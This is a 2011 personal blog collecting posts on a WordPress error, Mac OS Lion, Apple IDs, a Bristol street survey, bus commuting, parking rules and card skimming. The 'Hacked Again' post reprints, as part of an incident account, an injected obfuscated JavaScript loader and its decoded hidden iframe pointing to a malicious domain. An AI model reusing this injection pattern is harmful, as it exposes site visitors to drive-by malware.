Tap“PHP Fatal error: Call to undefined function get_header()” error in WordPress

25 Sep 2011 17:27 by Rick

I am getting occasional (3-4 a month) errors in a log file on the various WordPress installations that I support. The full text is

[25-Sep-2011 09:02:01] PHP Fatal error: Call to undefined function get_header() in /home/<ACCOUNT>/public_html/wp-content/themes/<THEME NAME>/index.php on line 1

Doing the natural thing I Googled for a reason but didn’t find much that was informative. Most of the cases reported were where the user had stupidly inadvertently overwritten the root index.php with the one from their theme of the day. The best I found was ardemis who is one step ahead of me.

As he implies, at important step is to stop the message reaching the user’s browser because it reveals rather too much about your web server. This is done by including the call

ini_set('display_errors', 0);

before the get_header();. This makes the message ONLY appear in the log file, which incidentally, can be found in the theme directory. He then goes on to describe a more sophisticated approach which you can read there if it suits your site. But why are they occurring? Is it search engine spiders or hackers probing the depths of your site.

TapWhat’s the game?

2 Sep 2011 17:05 by Rick

We buy houses - Any price, any condition. Call Emma on 07930 ******I first saw one of these adverts at the beginning of the summer. It was scrawled onto a piece of cardboard torn from a box and tied to a lamp-post with string and I thought “they have got to be kidding”. Since then this slightly smarter one has appeared in a similar place and now I have seen a more detailed one stuck to the door of a car which adds “Up to full market value paid. Fast, reliable service. No agent fees.”.

Is this some sort of scam or is it they just don’t like estate agents? At a guess I would say they they were exploiting people who are having trouble meeting their mortgage but I will be glad to be reassured that they are above board.

TapArguments for and against installing MacOS Lion

22 Aug 2011 09:45 by Rick

I had trouble identifying any compelling reason to install the latest version of the Apple Mac OS version nicknamed “Lion” so resorted to reading all the reviews and listing the points. It may come down to going to a store and trying it out.


Stuff that is likely to work and I would actually use.

  • The usual security and currency stuff.
  • Creation of instant folders for selected content.
  • Filevault2 encryption.
  • Mission Control (Exposé + Spaces).
  • Accented character picker.
  • Resize windows from any corner.
  • Enhancements to Preview application.
  • Signatures to PDFs (if it works with third party cameras).
  • It is cheap.


Either things I am not interested in or don’t have the hardware to support.

  • Full-screen applications now integrated and standard. With large monitors full-screen is often a waste of space.
  • Icons are now monochrome. Probably harder to see but no big deal.
  • Launchpad—I put the Applications folder on the Dock.
  • Autosave and version control (some applications). I am not sure about this one, I don’t think I use any applications that support it.
  • Added 9 Sept: Autosave and version control only work to HFS+ formatted drives, not NAS.
  • Resume (some) applications where you left off.
  • Multi-touch gestures (I have no touch pad—should I get one?).
  • AirDrop (Mac Pro has no built in wi-fi so it won’t work).
  • Reversal of scrolling. I’ll get used to it.
  • Facetime (reported no support for third party cameras).
  • Some gestures not supported on magic mouse.
  • (Reported) side swipes are inconsistent.
  • Loss of Rosetta. I never used it.
  • Mail and Calendar enhancements (I don’t use them).
  • Added 9 Sept: Loss of Front Row (thanks Dozer).


Stuff that will hinder me.

  • Loss of grid arrangement of spaces (now desktops). I race around spaces at speed using Ctrl-Arrows.
  • Desktops don’t wrap around end to start as you cycle through them.
  • Desktops are not identifiable except by content.
  • Going full screen creates a new desktop in the list.
  • Inconsistencies with dual monitor support such as full screen.
  • (Reported) difficulty using copy/paste between desktops.
  • Auto-termination of applications which are not being used.
  • Wake on mouse “wiggle” disabled (not sure if this is just for system sleep or monitor sleep as well).
  • Added 9 Sept: Loss of connection to some NAS devices (thanks Dozer). I am informed by Netgear that my ReadyNAS duo should be ok. Not sure about my LinkSys NSLU2.

At the moment the big blocker is a critical application has not yet been ported but that should be ready in a few weeks finding the time. Then…is it worth it?

TapConfused by Apple ID

6 Jul 2011 13:25 by Rick

To operate Apple equipment effectively you need an Apple ID—but the whole process is very confusing. You can login to your account in at least three places:—

They all require the same id and password but each one gives you different information and there doesn’t seem to be any way to manage the account from one place or even to move from one to the other.

But I am also confused about the concept. Are we expected to have one ID (account) each or one per family? If the former then I can’t see how we can take advantage of the offer on the app store to purchase things once and install them on multiple devices. We were better off under the old family-pack idea. What happens if some of the machines (e.g. an iMac) have multiple users who also have personal devices?

If, on the other hand, we are expected to have one per family then what happens when the kids move out (or more extreme cases like divorce)—how can they take their music and apps with them?

What if you buy/inherit second hand equipment; can you transfer the registration? And what happens if you inherit music/apps—after all they would be regarded as an asset on the estate? Or if you marry? I am reading that Apple will not merge accounts.

Does any of this really matter?

Update: 10 August. Some notice is being taken of this problem. A new development is that an Apple ID can only be associated with 10 devices (including computers) at any one time and there must be a 90 day moratorium between switching of Apple IDs on any device.

Update: 8 Sept. Another well though through commentary.

TapStreet of Surprises

1 Jul 2011 09:55 by Rick

A survey of the Gloucester Road in Bristol

Gloucester Road is part of the main A38 trunk north out of Bristol and extends from the end of Cheltenham Road at the junction with Zetland Road, 1.7 miles up to Horfield Common before becoming Filton Road. It says in Wikipedia (without atribution) that it has the largest number of independent traders on any one road in the UK.

There are two independent directory web sites; one, ♥ Gloucester Road apparently supported by the Gloucester Road Trader’s Association but charges for “enhanced business listings” and another, Love Gloucester Road which has unknown support but appears to be crowd sourced. Neither is complete nor entirely accurate. Also the Bishopston, Cotham & Redland Neighbourhood Partnership and The Bishopston Society take an active interest in the road.

As I now travel regularly up the full length of the road by the leisurely and stress free public bus, I thought I would survey the street and see if it is as unique as suggested and also to look at some of the frequent complaints about degeneration. I surveyed the first mile of the road up to the junction with Rudthorpe Road (Numbers 1 to 457) where the bulk of the shops are. Beyond there it reverts to a typical suburban trunk road, mostly housing with local parades of shops forming small villages. I have included a short stretch of some adjoining roads where there were businesses which could be considered part of the community—for example Overton Road. Perhaps I should have included Cheltenham Road as far as The Arches but I don’t pass that bit regularly.

Using the street numbers there are very nearly five hundred properties in the section. I observed that the numbering in places was completely irrational, particularly between 237 and 257. The Promenade (1 to 15) is included but not the houses 28 to 38 behind them. Many numbered properties are doubled up for larger businesses reducing the total to 420 separate units. Excluding the 42 private houses and apartment blocks reduces the number to 378 business premises.

It is curious that many traders don’t seem to know the number of their shop; there is even one advertising with the wrong address.


It is a wasteland of derelict and empty shops?

I identified that 10% of the properties were vacant, 38 including one that burned down whilst compiling this report. That figure is certainly high and is exacerbated by them occurring in clumps—there are particularly bad patches between 148 and 158 which have all been empty for some time and a large property next to the Baptist church which, thankfully, now looks like it is now being renovated. Neglected and unoccupied shops became a magnet for bill posters and graffiti. The impression is not helped by traders who move to nearby premises leaving the old one in a terrible state; they should realise that it reflects badly on them, especially if it is still identifiable. Other shops which are open could do with a tidy up. I know times are hard but it is not good if you can’t tell an open shop from a vacant lot. But, overall, that is not my impression and a subjective view is that the road has improved and brightened up over the last few years.


“You can buy pretty much anything you need here.” Peter Browne, hon. sec. Bishopston Traders Association.

For each property that is occupied, and for those recently vacated where possible, I have identified the type of business and categorised them by planning code. The type of business was determined by exterior signage and mistakes are almost inevitable but it should give a general feel. The planning codes are also a guess, I have not consulted the council records. The results are

Retail (A1) 200 (53%)
Financial and Professional (A2) 40 (11%)
Restaurants & cafes (A3) 28 (7%)
Pubs & Bars (A4) 19 (5%)
Hot Food Takeaways (A5) 25 (7%)
Industrial & Office (B) 18 (5%)
Hotels etc. (C1 & C2) 1
Community Facilities (D) 28 (7%)—includes Doctors and Dentists
Special Planning Requirements 12 (3%)—businesses with a high community impact
Unknown 7 (2%)

This confirms the feeling that the street is primarily retail. The range of goods is remarkably varied but it covers a different spectrum to the city centre and Mall. The basic needs are well catered with bakers, grocers, greengrocers, butchers, hardware plus small to medium scale supermarkets. It is strong on ethnic goods having European, Oriental, Eastern European, African, Middle Eastern and South American specialists. There is also a wide selection of art and decorative retailers including jewellers and florists but is rather thin on fashion, especially men’s. Large items like furniture have moved out of town but it is good to see a strong showing in electrical goods and carpets. Services are a feature with many hair & beauty establishments. The A2 group includes banks and it is a shame that only two out of the big four are represented here. [Correction: The Nat-West I thought was closed was only boarded-up for refurbishment so there are three.]


The street is a ghetto of charity shops, estate agents and takeaways?

The results above are not detailed enough to verify this and those that are there could be misleading so I went on to do a more detailed analysis. For example, many restaurants also have a takeaway facility which pushes their category up to A5 and cold food takeaways are excluded. The results of the further work (which only includes current businesses not ones that have closed) are

Charity Shops 13 (4%)
All Takeaways 28 (8%)
All Restaurants & cafés 45 (13%)
Estate & Letting Agents 12 (4%)
Hairdressers 24 (7%)

The street is certainly a place for eating and eat-in places out number takeaways considerably (they also overlap, some trading as both). Estate agents have dropped off in recent years and I don’t consider the number of charity shops excessive—perhaps the perception of there being a lot is because they move around more than other businesses? If you need a haircut you are well served here.


The bars are a magnet for drunken crowds spilling onto the street at all hours?

I can only suggest that they haven’t seen Whiteladies Road and Park Street! The “Vertical Drinking Establishments” are covered by A4 above but many are small and are not used in this way. There are 11 pubs and two larger café/Bars with a slight concentration towards the lower end which may spill onto Cheltenham Road but otherwise they are well spread along the entire length. A pub crawl really would be a crawl by the time you got to the end. I have assumed that Restaurants but not Cafés have alcohol with food licences and have counted the following

Full Licence 20
Off Sales Licence 15
With Food Licence 15

The largest number of independent traders?

I have nothing to compare it against but I picked out those national chains that I recognised and came to a total of 37 (11%) with some of these being franchises with local owners. It is certainly predominately independent traders—much more so than you will find in the city centre and probably more than most county town high streets. One recent change is that there are now no chain off-licences; one has been replaced by an independent, one a supermarket and the other remains empty.

The complete analysis can be seen in the attached file (PDF). It will be interesting to review it in a year’s time to see the turnover of businesses and any trends.

TapHacked Again

16 Jun 2011 10:01 by Rick

Since the problem in 2007 my web sites have been running pretty smoothly. I never did get to the bottom of what caused it but the suspicion was an out of date WordPress install which had some sort of vulnerability.

This month it happened again. I first spotted it on 6 Jun when I saw a big iFrame appear below the page footer of this blog. Again there was a suspicion of a down-level WordPress but it was only one dot point off current. Never-the-less, I updated and the problem went away by wiping out the infected files. In fact, I did it so fast that I didn’t have time to investigate fully.

A week later, the problem was back and now, because I was fully up to date, I had to look more closely.

The code inserted was

[script]var t="";var arr="...";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);[/script]

which decodes to execute

document.write('[iframe src="http://esformofset.com/forum/php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"][/iframe]')

The hacked code was tacked on the end of module wp-blog-header.php so it is clear that the infection understands WordPress. Later I was informed by a regular visitor, that some other (static) pages on the site were also infected. One drawback of running a browser with full protection like Firefox with NoScript is that you can’t easily spot things like this when they occur. Anyway, I spent an hour yesterday evening clearing up the rest of the site. It had infected almost all files called index.htm and home.htm and one or two others with a high page rank due to a lot of external referrers. The inserted code was after <body> and was either identical or very similar to the above (just a change of target web page).

So it is clear that the infection mechanism is clever, I just wish I know what it was. I am no longer convinced that it is anything to do with WordPress – a ZeroDay vulnerability like this would have been reported by now and, at the time of writing I can find no other internet reference to this particular infection. There is no other active content on the site so that leaves the possibility of either a cracked password (all of which are strong and recently changed) or a compromised host server.

TapOn the Buses – Returning after 35 years

13 Jun 2011 13:24 by Rick

In the 1970s, when I started my first proper job at Rolls-Royce, the bus was the normal means of travel. The management worked closely with the bus company to ensure that the employees could arrive on time and, when the Victory siren sounded at knock-off time, Gypsy Patch Lane and the Bus Park were awash with buses coming and going. Traffic was light so the buses were reasonably punctual and inspectors were on hand to sort out any problems. The routes were comprehensive and covered most of the city. But not everything was rosy—the buses were noisy, smelly and dirty, the drivers often surly and the ticketing was inflexible with little concession to regular users. As circumstances changed I moved to other transport—motorbike, car share and bicycle. The workforce at the factory declined and
the bus service went with it.

In recent years I have seen (from a distance) changes in the bus service but only occasionally used them. These included de-regulation which created multiple companies, the introduction and then decline of small hopper buses and the introduction of smarter double-deckers with the Showcase Partnership. The Centre is no longer a huge bus depot and only a few routes now reach the factory.

The retirement of my regular car-share partner, the rise in petrol prices and the timely email from the company Sustainability Network about special offers prompted me to look into the possibility of going back to the buses. An earlier idea to return to cycling was thwarted by a spell of poor health. I did some detailed calculations based on the per mile running cost of my car and, certainly with the special offer discount, using the bus was financially attractive so I vowed to give it a trial for a month and see how well it worked in practice.

The route

Using the internet extensively I discovered that the main service I would need was the same old Route 75 (FirstGroup) that I had used 35 years previously with the additional possibility of the 310 country bus from Thornbury and the 71a (Wessex Connect). As there is no inter-company ticket agreement I had to choose which one to use. The discount offer from FirstGroup plus the more frequent service of the 75 made the decision but it was a shame that the other route was not available as a backup as it would have been in the past. The Traveline journey planner web site doesn’t recognise this problem which makes it useless for
season ticket holders.

The loss of routes and the transfer of a few to other companies is a significant problem. The remaining routes stick mostly to the radial arteries out of the city with very few crossing between them. Had I still been living in Clifton as I had for a short time, there would no longer be a viable route to the factory. I had to do it once during the trial and the only way was into the Centre and back out or, slightly quicker, out to Cribbs Bus Station and back through Patchway.

The muddle of competing independent services—First, Wessex, ULink, Park&Ride, Flyer, Orbital, Night & others is an inconvenience for residents and visitors. London was left out of the grand bus de-regulation for this reason. Not that I would suggest that the near monopoly by FirstGroup should become absolute, but it does need a touch of regulation by the local


FirstGroup offers a bewildering variety of tickets—daily, weekly, monthly, yearly and even term and academic year season tickets covering one or more of three fare zones and various concessions. Some are available from the drivers, others from agents and some only direct from head office or via the internet. That is on top of the standard single and return tickets, about which there is remarkably little information—how do you discover what it costs to travel from A to B before you board and ask the driver? I suspect that day tickets and returns are now available before 9am but haven’t managed to verify that.

The special offer was for a Zone 1&2 monthly season ticket available for a two week period for £64 rather than the usual £76. So, one lunchtime, I strolled up to Patchway to find the agent and get one. The participating newsagent was neither the one on the main road, nor the one on the roundabout but a mile further on the housing estate. I was exhausted when I got back from the three mile round trip —it was unseasonably hot in April this year. Speaking to the owner of the newsagent on the main road, he said he had applied but was turned down because there was another one too near. I would disagree and, in any case, what is wrong with a little competition? Having located the correct agent I first had to convince him that the special offer existed at all and then, reluctantly, suffer a credit card surcharge.

What you get is a card which has to be read by a machine on each journey. It doesn’t require any ID so I suppose my wife could use it at weekends—an unexpected benefit. The zoning is a big improvement on the old days when season tickets were fixed to particular journeys. I never had one then because my work pattern wasn’t regular enough. These machines are twenty or more years old by now so must be due for replacement by an Oyster like system soon. Tickets purchased on board are still the traditional paper strip though now with UV anti-forgery security!

Towards the end of the experiment I looked again at the web site and discovered that, as expected, the price had reverted to normal—BUT—on closer inspection it was still at the discount price when you actually came to purchase one … so I ordered another while the going was good. These season tickets aren’t dated—the month starts from the day you first use it—but the internet form requires a start date for no apparent reason. Disregarding the discount, the best deal is the FirstExtra which gives you 12 x monthly tickets for the price of an annual season ticket and payment by instalments (interest free). It is extra good value because you wouldn’t actually use all 12 in a year if you take holidays. Of course, all these sums go for nothing if they increase the prices in line with fuel costs.

Timetables & Bus Stops

I found maps and timetables online so was able to plan my journey in detail. 14 minutes walk from home, 25 minutes on the bus, 5 minutes walk at the factory meant that I needed to catch the 7:47 to arrive in time to start my day—hence leave home at 7:35 which is about the same as when I drive.

That was the theory. In practice I soon discovered that the morning timetable was fiction. The arrival time of buses at Zetland Road was so erratic that you couldn’t tell which timetabled bus it was supposed to be. So I changed my schedule to leaving home ten minutes earlier and catching whatever came. The evening timetable was pretty reliable, perhaps because I was getting on only a mile or so from the start of the route. There is still the legendary problem of clumping and leapfrogging—no doubt a difficult one to solve.

An innovation since the old days is the electronic arrival indicator. These are fairly effective, though I haven’t quite figured out the logic of how they work and you have to allow for “Bus Minutes” being rather longer than the ones on your watch. I have seen days when the display is empty and others when buses arrived un-announced. Occasionally I was puzzled by the 07:47 vanishing from the screen altogether after having been static at “15 minutes” for some time. I have come to the conclusion that they were being withdrawn from service at the Centre. This made me very late on a couple of occasions but fortunately management is
rather more flexible than it used to be.

The bus stops in the City are pretty good, mostly with shelters, clean and with current timetables. They are easy to spot except perhaps in the central area where it can take some searching to find the one you need. It is good that they now have names on them. In South Gloucestershire the sign boards don’t contain as much useful information. The electronic display at Gypsy Patch Lane has been broken all month (Update! It was fixed sometime today, 3rd June) and I understand that there isn’t yet one at every stop.

Buses and roads

I was pleasantly surprised by how much the buses had improved over the years; they are now smooth, clean and comfortable. The entrance is at the same height as the (raised) kerb and the luggage rack is back (though I am not sure I would trust it if sitting upstairs). To go with the level entrance there is space for a wheelchair but I never saw it in use except by children’s push chairs. Free Metro newspapers are available – and the quality is what you would expect from “free”—but people do read them.

Another innovation is the “Stopping” indicator in addition to the traditional bell if you want to get off (it seems that all stops are request stops these days). This was effective on many buses but, on my regular route, the turquoise display is not bright enough for a sunny day. Another unexpected change is that country buses are no longer limited-stop making them no quicker than the city buses.

On a few buses there was a marquee display showing where the bus was going—it would be helpful for it to announce the next stop and I would have thought that the technology that does the bus stop signs could also do that. Also note that the back number boards are important but quite a few are broken.

I was impressed by the skill of the drivers—those tall double-deckers sway a lot with the road camber but, apart from low hanging branches, they never hit anything even when the shelters, lamp posts and trees were very close to the edge. The observance of regulations and courtesy to other road users and passengers was also good—even at frustrating moments when blocked by a slow cyclist that should have been on the designated track. From the vantage point of my preferred top-deck front seat you get a good view of what is happening and I saw a lot of bad driving from up there—it was very rare to see a cyclist observe a red traffic light signal for example and pedestrians seem to have a death wish.

Another observation is that bus lanes are often not the advantage that they are supposed to be. I still don’t understand why taxis are allowed to use them and, despite the regular attendance of wardens, people parking in them regularly blocks the buses forcing them out into the outer lanes. Although not an advocate of surveillance, perhaps the new bus lane cameras will be effective—I just hope their scope is limited to only that. Cycle lanes are also strange and sometimes beyond comprehension. Some are so short to be hardly worth while, just creating a false sense of security. In other places there are two lanes in parallel or not marked clearly so few cyclists use it. If a good set of contiguous lanes were available then I would suggest making them compulsory for the safety of the rider and convenience of other road users.


The experience overall was a good one, sufficient that I am going to continue to use the bus—at least as long as the discount holds. Some attention to detail could improve it but other problems may require long term serious research.

I was fortunate that the weather was good; only one rainy day (when the driver had to ask us to open the windows as his observation camera had steamed up). The added benefits have been the exercise to wake me up in the morning and the lower stress on the journey. The use of the ticket for extra journeys has been limited—partly because my wife hasn’t got one so where I may have taken the bus on my own we have either walked or driven together.

I won’t be giving up the car but, if it became regular, it would almost certainly be enough to reduce us from a two to one car household. The principal drawback is that the season ticket, essential to make it cost effective, discourages the use of alternatives. On the other hand, having the pass in my wallet does get me into town more often than I would otherwise have done—it is strangely liberating. No doubt the same effect is experienced by pensioners.

Key points

  • Using the bus to commute was only made cost effective by the discount. To be viable it must come close to the equivalent door-to-door journey for one person in a family saloon.
  • The routes available are very limited, particularly off the radial arteries. This is exacerbated by there being no inter-company ticket agreements. Bristol needs an integrated service.
  • The Traveline journey planner web site doesn’t recognise the ticketing limitations.
  • The web site is ok but the variety of tickets is complex and not fully described, in particular the basic single and return fares. The online ordering system is not consistent with the information pages.
  • Ticket agents are convenient but they are unnecessarily restricted.
  • I can understand timetabling is difficult but at least keep the electronic indicators working and accurate. For frequent routes “every N minutes” may be more useful (and accurate) than actual times.
  • Even locals can’t tell you where to catch a particular bus in the central area. Clear signage, maps and markers are essential. The stops in South Gloucestershire lack route numbers.
  • The “Stopping” indicators need to be clearer. Adding “Next Stop” displays on board would be helpful.
  • The drivers are to be congratulated on their skill and courtesy.
  • The arrogance of commuter cyclists has become an epidemic – and that remark comes from a once regular cyclist. Similarly illegal parking has a real effect on bus delays.
  • Bus and cycle lanes need a comprehensive review as a whole not piecemeal as seems to be the case now.

TapParking Enforcement in Bristol

3 Jun 2011 12:25 by Rick

I was at a neighbourhood forum recently where a manager from Bristol City Parking Services gave a presentation about what they do. It was enlightening! The rules all changed as a consequence of the de-criminalisation of parking offences in 2000 and has been extended since then. Note that although the rules are national, each council has its own way of enforcing them so not all of this may apply elsewhere.

In summary—what the council enforce using Penalty Charge Notices (fines) are yellow lines, school zig-zags, crossing zig-zags, pedestrian dropped kerbs, double parking and bus lanes. What they don’t control, unless covered by one of the above, is pavement parking, driveways, parking on private land and untaxed vehicles.

Yellow Lines

A change that has occurred since I took my driving test is that double yellow lines always mean “at any time” across the country and don’t require a notice. Single lines are for a proportion of the day and there will be a notice to indicate the period but most are Monday–Saturday 0800–1800. Parking is leaving the vehicle unattended. Loading/unloading is permitted unless otherwise restricted but must be visible in ANY five minute period that the warden observes—so no locking up and going for a coffee.

Loading/Unloading restrictions

These are indicated by dashes on the kerb and are the same as yellow lines – double for 24/7, single for lesser periods. The old triple dash has been abolished. They have the same force as the “clearway” and you are not even supposed to stop when these are in force even to drop a passenger, though presumably you need to be able to read the sign.

Both of these restrictions (yellow lines and clearway) apply from the centre of the road to edge of the highway—which includes the footpath—so no parking inside them as I have heard suggested and no cars hanging out of the forecourt over the pavement.

School Zig-zags

It wasn’t clear if they are all enforced but certainly some are by arrangement with the school concerned. They are treated like a clearway so no dropping your children off in the nice empty space outside the gates, that is not what they are for.

Crossing zig-zags

These are similar but only apply to on road parking, they don’t extend to the footpath. The police retain the authority to enforce these as well, and their fixed penalty notices override the parking ticket (and have greater penalties).

Pedestrian dropped kerbs

Put in place to aid wheelchair users and child buggies, these are the slopes near road junctions, usually with knobbly paving but no sign is required. The rules have been in place since March 2010 but they are only enforced if they are in pairs, one on each side of the road to avoid confusion with driveways. You can’t park overlapping the dropped kerb by any amount.

Double parking

Technically this means parking more than 50cm from the kerb but the wardens don’t carry tape measures so in practice it needs to be blatant before it is enforced. Note that the wording seems to cover ad-hoc diagonal parking. Loading/unloading is tolerated for 20 minutes when double parked or next to a dropped kerb, but it had better be obvious.

Disabled Badges

Holders of disabled permits can park in SOME otherwise restricted places. This includes yellow lines for up to three hours unless causing an obstruction but NOT on clearways where loading/unloading restrictions are in place. He also commented that there was a proposal to get an outside contractor to enforce the misuse of badges,

Bus Lanes

This is the only area where the Parking Services officers are interested in moving traffic. Where implemented they are enforced by CCTV and contraventions sent by post. It is
currently done by three operators and a supervisor not by automatic numberplate recognition and requires a separate officer to confirm before a notice is sent.


Queries can be directed to the control room 0117 9038070 which is manned Monday–Saturday 0600–2400 and Sunday 0830–1630. This for both the motorist and to report problem areas but they can’t respond instantly to an obstruction. The procedure for appeal is shown on the enforcement notice and, if there is doubt it is worth trying—they readily admit that their officers are fallible. The roadside is not the place to argue and offensive behaviour is not tolerated.

Other parking offences

Anything not listed above has to be referred to the police. This includes pavement parking, parking on junctions and blocking of driveways all where there are no yellow lines. In order for them to act there needs to be a complaint of obstruction—i.e. someone needs to be obstructed. In the case of driveways an obstruction normally needs to be to exit the property not enter it and there must be a dropped kerb (haulage-way). Untaxed (and uninsured vehicles) are now managed by the DVLA and are currently being enforced using roving camera cars with number plate recognition.

TapCard Skimming

28 May 2011 07:59 by Rick

Yesterday I had my credit card skimmed in a luxury goods shop in Cabot Circus. Credit card skimming is the process used by dodgy waiters and the like to steal the details off your card for use on the black market. It is often done using a small device concealed in the palm of their hand which reads the mag stripe while walking back to the till. This scam is, in fact, dying out as there are much easier ways for the criminals to get numbers in bulk, but it still used by small time crooks.

So, what happened in the shop? They had a skimmer attached to the front of the till – I should point out here that the action of the assistant was not criminal and, I will presume that the retail chain is not either. But they are foolish. Their system requires the credit card number before it will print a receipts. The PDQ chip-and-pin terminal they use for payment is not connected to the till system, and for good reason. They have no legitimate reason to collect and store the credit card numbers. In fact, I can’t imagine what they do with them. If there is a query over the payment (if the card subsequently turns out to be stolen for instance) then the merchant account provider, the people who process the transaction, have all the information necessary to pursue the case.

Larger retailers like supermarkets do have their systems connected together. They are operating as their own merchant provider and communicate directly with the credit card companies but they are then required to meet much more stringent security requirements on their whole system.

So if you see this happening – complain. I only noticed because the mag stripe on my card is faulty (it “accidentally” got too close to a strong magnet) and they had to type the number in by hand. It is also worth while noting the three digit number on the back of your card and then covering it up with a sticker. That will hinder online fraud.

I will report back here if the managing director of the chain concerned replies.

TapI can no more…

23 Apr 2011 09:01 by Rick

The words from near the beginning of Elgar’s Dream of Gerontius (words by Cardinal Newman) sum up Easter Saturday.

Sanctus fortis,
Sanctus Deus,
De profundis oro te,
Judex meus,
Parce mihi,

Firmly I believe and truly
God is Three, and God is One;
And I next acknowledge duly
Manhood taken by the Son.
And I trust and hope most fully
In that Manhood crucified;
And each thought and deed unruly
Do to death, as He has died.
Simply to His grace and wholly
Light and life and strength belong.
And I love, supremely, solely,
Him the holy, Him the strong.

Sanctus fortis,
Sanctus Deus,
De profundis oro te,
Judex meus,
Parce mihi,

And I hold in veneration,
For the love of Him alone,
Holy Church, as His creation,
And her teachings, as His own.
And I take with joy whatever
Now besets me, pain or fear,
And with a strong will I sever
All the ties which bind me here.
Adoration aye be given,
With and through the angelic host,
To the God of earth and heaven,
Father, Son and Holy Ghost.

Sanctus fortis,
Sanctus Deus,
De profundis, oro te,
Judex meus,
Mortis in discrimine.

I can no more; for now it comes again,
That sense of ruin, which is worse than pain,
That masterful negation and collapse
Of all that makes me man.

…And, crueller still,
A fierce and restless fright begins to fill
The mansion of my soul. And worse, and worse,
Some bodily form of ill
Floats on the wind, with many a loathsome curse
Tainting the hallowed air, and laughs, and flaps
Its hideous wings
And makes me wild with horror and dismay.

O Jesu, help! pray for me, Mary, pray!
Some Angel, Jesu! such as came to Thee
In Thine own agony…

Mary, pray for me. Joseph, pray for me.
Mary, pray for me.

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